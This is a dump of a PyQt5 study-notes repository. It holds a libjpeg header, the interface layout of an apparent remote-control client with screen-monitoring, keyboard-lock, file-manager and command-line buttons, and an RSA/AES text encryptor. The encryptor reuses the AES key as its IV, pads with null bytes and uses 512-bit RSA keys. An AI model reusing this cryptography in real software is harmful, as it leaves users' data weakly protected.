112 | #define GETJOCTET(value) (value)
113 |
114 | #else /* not HAVE_UNSIGNED_CHAR */
115 |
116 | typedef char JOCTET;
117 | #ifdef CHAR_IS_UNSIGNED
118 | #define GETJOCTET(value) (value)
119 | #else
120 | #define GETJOCTET(value) ((value) & 0xFF)
121 | #endif /* CHAR_IS_UNSIGNED */
122 |
123 | #endif /* HAVE_UNSIGNED_CHAR */
124 |
125 |
126 | /* These typedefs are used for various table entries and so forth.
127 | * They must be at least as wide as specified; but making them too big
128 | * won't cost a huge amount of memory, so we don't provide special
129 | * extraction code like we did for JSAMPLE. (In other words, these
130 | * typedefs live at a different point on the speed/space tradeoff curve.)
131 | */
132 |
133 | /* UINT8 must hold at least the values 0..255. */
134 |
135 | #ifdef HAVE_UNSIGNED_CHAR
136 | typedef unsigned char UINT8;
137 | #else /* not HAVE_UNSIGNED_CHAR */
138 | #ifdef CHAR_IS_UNSIGNED
139 | typedef char UINT8;
140 | #else /* not CHAR_IS_UNSIGNED */
141 | typedef short UINT8;
142 | #endif /* CHAR_IS_UNSIGNED */
143 | #endif /* HAVE_UNSIGNED_CHAR */
144 |
145 | /* UINT16 must hold at least the values 0..65535. */
146 |
147 | #ifdef HAVE_UNSIGNED_SHORT
148 | typedef unsigned short UINT16;
149 | #else /* not HAVE_UNSIGNED_SHORT */
150 | typedef unsigned int UINT16;
151 | #endif /* HAVE_UNSIGNED_SHORT */
152 |
153 | /* INT16 must hold at least the values -32768..32767. */
154 |
155 | #ifndef XMD_H /* X11/xmd.h correctly defines INT16 */
156 | typedef short INT16;
157 | #endif
158 |
159 | /* INT32 must hold at least signed 32-bit values. */
160 |
161 | #ifndef XMD_H /* X11/xmd.h correctly defines INT32 */
162 | #ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */
163 | #ifndef _BASETSD_H /* MinGW is slightly different */
164 | #ifndef QGLOBAL_H /* Qt defines it in qglobal.h */
165 | typedef long INT32;
166 | #endif
167 | #endif
168 | #endif
169 | #endif
170 |
171 | /* Datatype used for image dimensions. The JPEG standard only supports
172 | * images up to 64K*64K due to 16-bit fields in SOF markers. Therefore
173 | * "unsigned int" is sufficient on all machines. However, if you need to
174 | * handle larger images and you don't mind deviating from the spec, you
175 | * can change this datatype.
176 | */
177 |
178 | typedef unsigned int JDIMENSION;
179 |
180 | #define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */
181 |
182 |
183 | /* These macros are used in all function definitions and extern declarations.
184 | * You could modify them if you need to change function linkage conventions;
185 | * in particular, you'll need to do that to make the library a Windows DLL.
186 | * Another application is to make all functions global for use with debuggers
187 | * or code profilers that require it.
188 | */
189 |
190 | /* a function called through method pointers: */
191 | #define METHODDEF(type) static type
192 | /* a function used only in its module: */
193 | #define LOCAL(type) static type
194 | /* a function referenced thru EXTERNs: */
195 | #define GLOBAL(type) type
196 | /* a reference to a GLOBAL function: */
197 | #define EXTERN(type) extern type
198 |
199 |
200 | /* This macro is used to declare a "method", that is, a function pointer.
201 | * We want to supply prototype parameters if the compiler can cope.
202 | * Note that the arglist parameter must be parenthesized!
203 | * Again, you can customize this if you need special linkage keywords.
204 | */
205 |
206 | #ifdef HAVE_PROTOTYPES
207 | #define JMETHOD(type,methodname,arglist) type (*methodname) arglist
208 | #else
209 | #define JMETHOD(type,methodname,arglist) type (*methodname) ()
210 | #endif
211 |
212 |
213 | /* The noreturn type identifier is used to declare functions
214 | * which cannot return.
215 | * Compilers can thus create more optimized code and perform
216 | * better checks for warnings and errors.
217 | * Static analyzer tools can make improved inferences about
218 | * execution paths and are prevented from giving false alerts.
219 | *
220 | * Unfortunately, the proposed specifications of corresponding
221 | * extensions in the Dec 2011 ISO C standard revision (C11),
222 | * GCC, MSVC, etc. are not viable.
223 | * Thus we introduce a user defined type to declare noreturn
224 | * functions at least for clarity. A proper compiler would
225 | * have a suitable noreturn type to match in place of void.
226 | */
227 |
228 | #ifndef HAVE_NORETURN_T
229 | typedef void noreturn_t;
230 | #endif
231 |
232 |
233 | /* Here is the pseudo-keyword for declaring pointers that must be "far"
234 | * on 80x86 machines. Most of the specialized coding for 80x86 is handled
235 | * by just saying "FAR *" where such a pointer is needed. In a few places
236 | * explicit coding is needed; see uses of the NEED_FAR_POINTERS symbol.
237 | */
238 |
239 | #ifndef FAR
240 | #ifdef NEED_FAR_POINTERS
241 | #define FAR far
242 | #else
243 | #define FAR
244 | #endif
245 | #endif
246 |
247 |
248 | /*
249 | * On a few systems, type boolean and/or its values FALSE, TRUE may appear
250 | * in standard header files. Or you may have conflicts with application-
251 | * specific header files that you want to include together with these files.
252 | * Defining HAVE_BOOLEAN before including jpeglib.h should make it work.
253 | */
254 |
255 | #ifdef HAVE_BOOLEAN
256 | #ifndef FALSE /* in case these macros already exist */
257 | #define FALSE 0 /* values of boolean */
258 | #endif
259 | #ifndef TRUE
260 | #define TRUE 1
261 | #endif
262 | #else
263 | typedef enum { FALSE = 0, TRUE = 1 } boolean;
264 | #endif
265 |
266 |
267 | /*
268 | * The remaining options affect code selection within the JPEG library,
269 | * but they don't need to be visible to most applications using the library.
270 | * To minimize application namespace pollution, the symbols won't be
271 | * defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined.
272 | */
273 |
274 | #ifdef JPEG_INTERNALS
275 | #define JPEG_INTERNAL_OPTIONS
276 | #endif
277 |
278 | #ifdef JPEG_INTERNAL_OPTIONS
279 |
280 |
281 | /*
282 | * These defines indicate whether to include various optional functions.
283 | * Undefining some of these symbols will produce a smaller but less capable
284 | * library. Note that you can leave certain source files out of the
285 | * compilation/linking process if you've #undef'd the corresponding symbols.
286 | * (You may HAVE to do that if your compiler doesn't like null source files.)
287 | */
288 |
289 | /* Capability options common to encoder and decoder: */
290 |
291 | #define DCT_ISLOW_SUPPORTED /* slow but accurate integer algorithm */
292 | #define DCT_IFAST_SUPPORTED /* faster, less accurate integer method */
293 | #define DCT_FLOAT_SUPPORTED /* floating-point: accurate, fast on fast HW */
294 |
295 | /* Encoder capability options: */
296 |
297 | #define C_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */
298 | #define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
299 | #define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
300 | #define DCT_SCALING_SUPPORTED /* Input rescaling via DCT? (Requires DCT_ISLOW)*/
301 | #define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */
302 | /* Note: if you selected 12-bit data precision, it is dangerous to turn off
303 | * ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit
304 | * precision, so jchuff.c normally uses entropy optimization to compute
305 | * usable tables for higher precision. If you don't want to do optimization,
306 | * you'll have to supply different default Huffman tables.
307 | * The exact same statements apply for progressive JPEG: the default tables
308 | * don't work for progressive mode. (This may get fixed, however.)
309 | */
310 | #define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */
311 |
312 | /* Decoder capability options: */
313 |
314 | #define D_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */
315 | #define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */
316 | #define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/
317 | #define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */
318 | #define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */
319 | #define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */
320 | #undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */
321 | #define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */
322 | #define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */
323 | #define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */
324 |
325 | /* more capability options later, no doubt */
326 |
327 |
328 | /*
329 | * Ordering of RGB data in scanlines passed to or from the application.
330 | * If your application wants to deal with data in the order B,G,R, just
331 | * change these macros. You can also deal with formats such as R,G,B,X
332 | * (one extra byte per pixel) by changing RGB_PIXELSIZE. Note that changing
333 | * the offsets will also change the order in which colormap data is organized.
334 | * RESTRICTIONS:
335 | * 1. The sample applications cjpeg,djpeg do NOT support modified RGB formats.
336 | * 2. The color quantizer modules will not behave desirably if RGB_PIXELSIZE
337 | * is not 3 (they don't understand about dummy color components!). So you
338 | * can't use color quantization if you change that value.
339 | */
340 |
341 | #define RGB_RED 0 /* Offset of Red in an RGB scanline element */
342 | #define RGB_GREEN 1 /* Offset of Green */
343 | #define RGB_BLUE 2 /* Offset of Blue */
344 | #define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */
345 |
346 |
347 | /* Definitions for speed-related optimizations. */
348 |
349 |
350 | /* If your compiler supports inline functions, define INLINE
351 | * as the inline keyword; otherwise define it as empty.
352 | */
353 |
354 | #ifndef INLINE
355 | #ifdef __GNUC__ /* for instance, GNU C knows about inline */
356 | #define INLINE __inline__
357 | #endif
358 | #ifndef INLINE
359 | #define INLINE /* default is to define it as empty */
360 | #endif
361 | #endif
362 |
363 |
364 | /* On some machines (notably 68000 series) "int" is 32 bits, but multiplying
365 | * two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER
366 | * as short on such a machine. MULTIPLIER must be at least 16 bits wide.
367 | */
368 |
369 | #ifndef MULTIPLIER
370 | #define MULTIPLIER int /* type for fastest integer multiply */
371 | #endif
372 |
373 |
374 | /* FAST_FLOAT should be either float or double, whichever is done faster
375 | * by your compiler. (Note that this type is only used in the floating point
376 | * DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.)
377 | * Typically, float is faster in ANSI C compilers, while double is faster in
378 | * pre-ANSI compilers (because they insist on converting to double anyway).
379 | * The code below therefore chooses float if we have ANSI-style prototypes.
380 | */
381 |
382 | #ifndef FAST_FLOAT
383 | #ifdef HAVE_PROTOTYPES
384 | #define FAST_FLOAT float
385 | #else
386 | #define FAST_FLOAT double
387 | #endif
388 | #endif
389 |
390 | #endif /* JPEG_INTERNAL_OPTIONS */
391 |
--------------------------------------------------------------------------------
/control/telnet/libjpeg/jpeg.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/libjpeg/jpeg.lib
--------------------------------------------------------------------------------
/control/windows.ui:
--------------------------------------------------------------------------------
1 |
2 |
3 | MainWindow
4 |
5 |
6 |
7 | 0
8 | 0
9 | 800
10 | 600
11 |
12 |
13 |
14 | Qt::CustomContextMenu
15 |
16 |
17 | 火萤client
18 |
19 |
20 |
21 | title.ico title.ico
22 |
23 |
24 |
25 |
26 |
27 | 0
28 | 0
29 | 221
30 | 151
31 |
32 |
33 |
34 | 屏幕监控
35 |
36 |
37 |
38 | 2018-06-30_170734.png 2018-06-30_170734.png
39 |
40 |
41 |
42 | 70
43 | 70
44 |
45 |
46 |
47 |
48 |
49 |
50 | 220
51 | 0
52 | 201
53 | 151
54 |
55 |
56 |
57 | 锁定键盘
58 |
59 |
60 |
61 | 2018-06-30_171056.png 2018-06-30_171056.png
62 |
63 |
64 |
65 | 90
66 | 90
67 |
68 |
69 |
70 |
71 |
72 |
73 | 420
74 | 0
75 | 201
76 | 151
77 |
78 |
79 |
80 | 文件管理
81 |
82 |
83 |
84 | 2018-06-30_171030.png 2018-06-30_171030.png
85 |
86 |
87 |
88 | 80
89 | 80
90 |
91 |
92 |
93 |
94 |
95 |
96 | 612
97 | 0
98 | 191
99 | 151
100 |
101 |
102 |
103 | 命令行
104 |
105 |
106 |
107 | 2018-06-30_171320.png 2018-06-30_171320.png
108 |
109 |
110 |
111 | 70
112 | 70
113 |
114 |
115 |
116 |
117 |
118 |
119 | 0
120 | 150
121 | 801
122 | 451
123 |
124 |
125 |
126 |
127 | 1
128 |
129 |
130 |
131 |
132 | 编号
133 |
134 |
135 |
136 |
137 | 用户名
138 |
139 |
140 |
141 |
142 | ip地址
143 |
144 |
145 |
146 |
147 | 端口
148 |
149 |
150 |
151 |
152 | 测试信息
153 |
154 |
155 |
156 |
157 | 测试信息2
158 |
159 |
160 | -
161 |
162 |
163 |
164 |
165 | ItemIsEnabled
166 |
167 |
168 | -
169 |
170 |
171 |
172 |
173 | ItemIsEnabled
174 |
175 |
176 | -
177 |
178 |
179 |
180 |
181 | ItemIsEnabled
182 |
183 |
184 | -
185 |
186 |
187 |
188 |
189 | ItemIsEnabled
190 |
191 |
192 | -
193 |
194 |
195 |
196 |
197 | ItemIsEnabled
198 |
199 |
200 | -
201 |
202 |
203 |
204 |
205 | ItemIsEnabled
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 | tableWidget
215 | customContextMenuRequested(QPoint)
216 | tableWidget
217 | clearContents()
218 |
219 |
220 | 517
221 | 319
222 |
223 |
224 | 517
225 | 319
226 |
227 |
228 |
229 |
230 |
231 |
--------------------------------------------------------------------------------
/control/萤火clinet.e4p:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | en_US
8 | 5614ce02211b32fc4769ff99a24af9ca6ff47e83
9 | Python3
10 | PyQt5
11 | 本软件仅供学习交流使用,禁止用于违法犯罪活动
12 | 1.0
13 | getf
14 | getf_own@163.com
15 |
16 |
17 | 0net-master/0net-master/server.py
18 | Ui_windows.py
19 | __init__.py
20 | window.py
21 |
22 |
23 |
24 |
25 |
26 | 0net-master/0net-master/README.md
27 | 0net-master/0net-master/build/hacker/warnhacker.txt
28 |
29 |
30 | None
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/encrypt/.idea/RSAsoftware.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/encrypt/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/encrypt/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/encrypt/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | true
52 | DEFINITION_ORDER
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 | 1519877459899
161 |
162 |
163 | 1519877459899
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
--------------------------------------------------------------------------------
/encrypt/Value.py:
--------------------------------------------------------------------------------
1 | # -*-coding:utf-8-*-
2 | # @Author : "GETF"
3 | # @Time : 2018/3/1 13:12
4 | from PyQt5 import QtCore, QtWidgets
5 | from PyQt5.QtGui import QIcon
6 | import os,webbrowser,sys,base64,rsa
7 | from PyQt5.QtWidgets import QFileDialog,QInputDialog,QLineEdit,QMessageBox,QApplication, QMainWindow
8 | from Crypto.Cipher import AES
9 | from binascii import b2a_hex, a2b_hex
10 | from PyQt5.QtCore import QCoreApplication
11 |
12 |
13 | class prpcrypt():
14 | def __init__(self, key):
15 | self.key = key
16 | self.mode = AES.MODE_CBC
17 |
18 | #加密函数,如果text不是16的倍数【加密文本text必须为16的倍数!】,那就补足为16的倍数
19 | def encrypt(self, text):
20 | cryptor = AES.new(self.key, self.mode, self.key)
21 | text = text.encode("utf-8")
22 | #这里密钥key 长度必须为16(AES-128)、24(AES-192)、或32(AES-256)Bytes 长度.目前AES-128足够用
23 | length = 16
24 | count = len(text)
25 | add = length - (count % length)
26 | text = text + (b'\0' * add)
27 | self.ciphertext = cryptor.encrypt(text)
28 | #因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
29 | #所以这里统一把加密后的字符串转化为16进制字符串
30 | return b2a_hex(self.ciphertext).decode("ASCII")
31 |
32 | #解密后,去掉补足的空格用strip() 去掉
33 | def decrypt(self, text):
34 | cryptor = AES.new(self.key, self.mode, self.key)
35 | plain_text = cryptor.decrypt(a2b_hex(text))
36 | return plain_text.rstrip(b'\0').decode("utf-8")
37 |
38 |
39 |
40 | class Ui_MainWindow(object):
41 | def setupUi(self, MainWindow):
42 | MainWindow.setObjectName("MainWindow")
43 | MainWindow.resize(833, 599)
44 | MainWindow.setContextMenuPolicy(QtCore.Qt.DefaultContextMenu)
45 | self.centralWidget = QtWidgets.QWidget(MainWindow)
46 | self.centralWidget.setObjectName("centralWidget")
47 | self.textEdit = QtWidgets.QTextEdit(self.centralWidget)
48 | self.textEdit.setGeometry(QtCore.QRect(0, 0, 1800, 1200))
49 | self.textEdit.setFocusPolicy(QtCore.Qt.ClickFocus)
50 | self.textEdit.setContextMenuPolicy(QtCore.Qt.ActionsContextMenu)
51 | self.textEdit.setToolTipDuration(-1)
52 | self.textEdit.setObjectName("textEdit")
53 | font = self.textEdit.font()
54 | font.setPointSize(font.pointSize() + 3)
55 | self.textEdit.setFont(font)
56 | MainWindow.setCentralWidget(self.centralWidget)
57 | self.menuBar = QtWidgets.QMenuBar(MainWindow)
58 | self.menuBar.setGeometry(QtCore.QRect(0, 0, 833, 26))
59 | self.menuBar.setObjectName("menuBar")
60 | self.menu1 = QtWidgets.QMenu(self.menuBar)
61 | self.menu1.setObjectName("menu1")
62 | self.menu2 = QtWidgets.QMenu(self.menuBar)
63 | self.menu2.setObjectName("menu2")
64 | self.menuAbout = QtWidgets.QMenu(self.menuBar)
65 | self.menuAbout.setObjectName("menuAbout")
66 | MainWindow.setMenuBar(self.menuBar)
67 | self.statusBar = QtWidgets.QStatusBar(MainWindow)
68 | self.statusBar.setObjectName("statusBar")
69 | MainWindow.setStatusBar(self.statusBar)
70 | self.action = QtWidgets.QAction(MainWindow)
71 | self.action.setCheckable(False)
72 | self.action.setObjectName("action")
73 | self.actionSave = QtWidgets.QAction(MainWindow)
74 | self.actionSave.setCheckable(False)
75 | self.actionSave.setObjectName("actionSave")
76 | self.actionOtherSave = QtWidgets.QAction(MainWindow)
77 | self.actionOtherSave.setCheckable(False)
78 | self.actionOtherSave.setObjectName("actionOtherSave")
79 | self.actionDecrypt = QtWidgets.QAction(MainWindow)
80 | self.actionDecrypt.setObjectName("actionDecrypt")
81 | self.actionEncrypt = QtWidgets.QAction(MainWindow)
82 | self.actionEncrypt.setObjectName("actionEncrypt")
83 | self.actionabout = QtWidgets.QAction(MainWindow)
84 | self.actionabout.setCheckable(False)
85 | self.actionabout.setObjectName("actionabout")
86 | self.menuAbout.addAction(self.actionabout)
87 | self.menu1.addAction(self.action)
88 | self.menu1.addAction(self.actionSave)
89 | self.menu1.addAction(self.actionOtherSave)
90 | self.menu2.addAction(self.actionDecrypt)
91 | self.menu2.addAction(self.actionEncrypt)
92 | self.menuBar.addAction(self.menu1.menuAction())
93 | self.menuBar.addAction(self.menu2.menuAction())
94 | self.menuBar.addAction(self.menuAbout.menuAction())
95 |
96 | self.retranslateUi(MainWindow)
97 | QtCore.QMetaObject.connectSlotsByName(MainWindow)
98 |
99 | def retranslateUi(self, MainWindow):
100 | _translate = QtCore.QCoreApplication.translate
101 | MainWindow.setWindowTitle(_translate("MainWindow", "密文阅读器"))
102 | self.textEdit.setStatusTip(_translate("MainWindow", "文件区"))
103 | self.menuBar.setStatusTip(_translate("MainWindow", "文件操作"))
104 | self.menu1.setStatusTip(_translate("MainWindow", "文件操作"))
105 | self.menu1.setTitle(_translate("MainWindow", "文件(F)"))
106 | self.menu2.setTitle(_translate("MainWindow", "操作(O)"))
107 | self.menuAbout.setStatusTip(_translate("MainWindow", "关于我们"))
108 | self.menuAbout.setTitle(_translate("MainWindow", "关于(A)"))
109 | self.action.setText(_translate("MainWindow", "打开"))
110 | self.action.setStatusTip(_translate("MainWindow", "打开文件"))
111 | self.actionSave.setText(_translate("MainWindow", "存储"))
112 | self.actionSave.setStatusTip(_translate("MainWindow", "存储文件"))
113 | self.actionOtherSave.setText(_translate("MainWindow", "另存为"))
114 | self.actionOtherSave.setStatusTip(_translate("MainWindow", "另存为xx文件"))
115 | self.actionDecrypt.setText(_translate("MainWindow", "解密"))
116 | self.actionDecrypt.setStatusTip(_translate("MainWindow", "解密文档"))
117 | self.actionEncrypt.setText(_translate("MainWindow", "加密"))
118 | self.actionEncrypt.setStatusTip(_translate("MainWindow", "加密文档"))
119 | self.actionabout.setText(_translate("MainWindow", "关于"))
120 | self.actionabout.setStatusTip(_translate("MainWindow", "了解我们"))
121 |
122 |
123 | class Window(QMainWindow, Ui_MainWindow):
124 | def __init__(self, *args, **kwargs):
125 | super(Window, self).__init__(*args, **kwargs)
126 | self.setupUi(self)
127 | self.dir_name = os.path.abspath(os.path.dirname(__file__)).replace('\\','/')
128 | self.pwd = 0
129 | if(self.pwd == 0):
130 | self.Entercrypt()
131 | if(os.path.exists(self.dir_name+'/pub.txt')):
132 | des_encrypt = prpcrypt(self.pwd)
133 | f3 = open(self.dir_name+'/ip.txt','r',encoding='utf-8')
134 | des_test = f3.read()
135 | f3.close()
136 | try:
137 | AES_judge = des_encrypt.decrypt(des_test)
138 | except:
139 | AES_judge = 123
140 | if(AES_judge != 'qweasdzxcqwer'):
141 | self.EnterWarning2()
142 | else:
143 | f1 = open(self.dir_name+'/pub.txt','r')
144 | self.pubkey = rsa.PublicKey.load_pkcs1(f1.read().encode())
145 | f1.close()
146 | f2 = open(self.dir_name+'/priv.txt','r')
147 | priv_data = des_encrypt.decrypt(f2.read()).encode()
148 | self.privkey = rsa.PrivateKey.load_pkcs1(priv_data)
149 | f2.close()
150 | else:
151 | (self.pubkey, self.privkey) = rsa.newkeys(512)
152 | des_encrypt = prpcrypt(self.pwd)
153 | ipip = des_encrypt.encrypt("qweasdzxcqwer")
154 | f3 = open(self.dir_name+'/ip.txt','w+',encoding='utf-8')
155 | f3.write(ipip)
156 | f3.close()
157 | f1 = open(self.dir_name+'/pub.txt','w+')
158 | f1.write(self.pubkey.save_pkcs1().decode())
159 | f1.close()
160 | priv_deta = des_encrypt.encrypt(self.privkey.save_pkcs1().decode())
161 | f2 = open(self.dir_name+'/priv.txt','w+')
162 | f2.write(priv_deta)
163 | f2.close()
164 |
165 | #关于我们
166 | self.actionabout.triggered.connect(self.About_webbrowser_Clicked)
167 | self.actionabout.setShortcut('Ctrl+A')
168 |
169 | #打开文件
170 | self.action.triggered.connect(self.openFile)
171 | self.action.setShortcut('Ctrl+O')
172 |
173 | #保存文件
174 | self.actionSave.triggered.connect(self.saveFile)
175 | self.actionSave.setShortcut('Ctrl+S')
176 |
177 | #另存为文件
178 | self.actionOtherSave.triggered.connect(self.saveOtherFile)
179 | self.actionOtherSave.setShortcut('Alt+S')
180 |
181 | #加密文件
182 | self.actionEncrypt.triggered.connect(self.EncryptFile)
183 | self.actionEncrypt.setShortcut('Ctrl+E')
184 |
185 | #解密文件
186 | self.actionDecrypt.triggered.connect(self.DecryptFile)
187 | self.actionDecrypt.setShortcut('Ctrl+D')
188 |
189 |
190 | def Entercrypt(self):
191 | value,ok = QInputDialog.getText(self, "密码输入框", "注意:密码必须为6位字母加数字!!!\n\n请在这里输入密码:", QLineEdit.Password, "密码请设置为6位字母")
192 | if(len(value) == 6 and value.isalnum() == True):
193 | self.pwd = 'qwlpS'+value+'123qq'
194 | else:
195 | self.EnterWarning()
196 |
197 |
198 | def EnterWarning(self):
199 | reply = QMessageBox.warning(self,"警告!", "密码格式或位数不符合要求", QMessageBox.Yes)
200 | if reply == QMessageBox.Yes:#这里对接收到的结果进行处理
201 | sys.exit()
202 |
203 | def EnterWarning2(self):
204 | reply = QMessageBox.warning(self,"警告!", "密码错误,请重新输入", QMessageBox.Yes)
205 | if reply == QMessageBox.Yes:#这里对接收到的结果进行处理
206 | sys.exit()
207 |
208 |
209 | def EncryptFile(self):
210 | try:
211 | data = self.textEdit.toPlainText().encode('utf-8')
212 | crypto = rsa.encrypt(data, self.pubkey)
213 | demo = base64.b64encode(crypto)
214 | self.textEdit.setText(str(demo,'utf-8'))
215 | except:
216 | pass
217 |
218 | def DecryptFile(self):
219 | try:
220 | data = self.textEdit.toPlainText().encode('utf-8')
221 | demo = base64.b64decode(data)
222 | message = rsa.decrypt(demo, self.privkey).decode('utf-8')
223 | self.textEdit.setText(message)
224 | except:
225 | pass
226 |
227 | def saveOtherFile(self):
228 | try:
229 | fileName2, filetype2 = QFileDialog.getSaveFileName(self, "文件保存", "C://Users/Administrator/Desktop", "All Files (*);;Text Files (*.txt)")
230 | data = self.textEdit.toPlainText()
231 | file = open(fileName2,'w+')
232 | file.write(data)
233 | file.close()
234 | except:
235 | pass
236 |
237 | def About_webbrowser_Clicked(self):
238 | webbrowser.open('http://blog.csdn.net/wy_97/article/details/79434269')
239 |
240 |
241 | def openFile(self):
242 | try:
243 | fileName1, filetype1 = QFileDialog.getOpenFileName(self, "选取文件", self.dir_name, "All Files (*);;Text Files (*.txt)") #设置文件扩展名过滤,注意用双分号间隔
244 | if(fileName1 != self.dir_name+'/Crypt/crypt.txt'):
245 | file = open(fileName1,'r')
246 | data = file.read()
247 | file.close()
248 | if not(os.path.exists(self.dir_name+'/Backup')):
249 | os.mkdir(self.dir_name+'/Backup')
250 | file = open(self.dir_name+"/Backup/backup.txt",'w+')
251 | file.write(data)
252 | file.close()
253 | else:
254 | file = open(fileName1,'r',encoding='ISO-8859-15')
255 | data = file.read()
256 | file.close()
257 | if not(os.path.exists(self.dir_name+'/Backup')):
258 | os.mkdir(self.dir_name+'/Backup')
259 | file = open(self.dir_name+"/Backup/backup.txt",'w+',encoding='ISO-8859-15')
260 | file.write(data)
261 | file.close()
262 |
263 | self.textEdit.setText(data)
264 | except:
265 | pass
266 |
267 | def saveFile(self):
268 | try:
269 | if not(os.path.exists(self.dir_name+'\Crypt')):
270 | os.mkdir(self.dir_name+'\Crypt')
271 | data = self.textEdit.toPlainText()
272 | file = open(self.dir_name+'\Crypt\crypt.txt','w+',encoding='ISO-8859-15')
273 | file.write(data)
274 | file.close()
275 | except:
276 | pass
277 |
278 | if __name__ == "__main__":
279 | app = QApplication(sys.argv)
280 | w = Window()
281 | dir_path = os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico'
282 | w.setWindowIcon(QIcon(dir_path))
283 | w.show()
284 | sys.exit(app.exec_())
--------------------------------------------------------------------------------
/encrypt/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/encrypt/__init__.py
--------------------------------------------------------------------------------
/encrypt/image/1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/encrypt/image/1.ico
--------------------------------------------------------------------------------
/notepad/Ui_notepad.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 | '''
3 | @Author: GETF
4 | @Email: GETF_own@163.com
5 | @DateTime: 2017-11-24 00:38:36
6 | @Description: 注意,这里只是用了eric6构建了一个图形页面,实际功能(信号传输机制并没有设置)
7 | '''
8 |
9 |
10 | # Form implementation generated from reading ui file 'F:\pythonexe\notepad\notepad.ui'
11 | #
12 | # Created by: PyQt5 UI code generator 5.6
13 | #
14 | # WARNING! All changes made in this file will be lost!
15 |
16 | from PyQt5 import QtCore, QtGui, QtWidgets
17 | import os
18 |
19 | class Ui_MainWindow(object):
20 | def setupUi(self, MainWindow):
21 | MainWindow.setObjectName("MainWindow")
22 | MainWindow.resize(606, 512)
23 | icon = QtGui.QIcon()
24 | icon.addPixmap(QtGui.QPixmap(os.path.abspath(os.path.dirname(__file__))+'\image\\1.ico'), QtGui.QIcon.Normal, QtGui.QIcon.Off)#这里自己手动改了地址
25 | MainWindow.setWindowIcon(icon)
